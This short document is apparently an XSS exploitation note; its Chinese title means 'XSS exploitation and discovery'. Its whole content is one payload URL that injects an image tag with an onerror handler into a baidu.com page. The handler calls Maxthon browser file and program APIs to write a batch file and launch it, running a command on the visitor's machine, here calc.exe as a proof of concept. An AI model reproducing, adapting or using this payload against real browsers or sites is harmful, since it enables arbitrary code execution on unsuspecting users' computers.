XSS利用与挖掘

http://www.baidu.com/1.html#\"><img src=a onerror='var b=maxthon.io.File.createTempFile("test","bat");c=maxthon.io.File(b);maxthon.io.FileWriter(b);maxthon.io.writeText("cmd /k calc.exe");alert(b.name_);maxthon.program.Program.launch(b.name_,"C:\\WINDOWS\\system32")'/>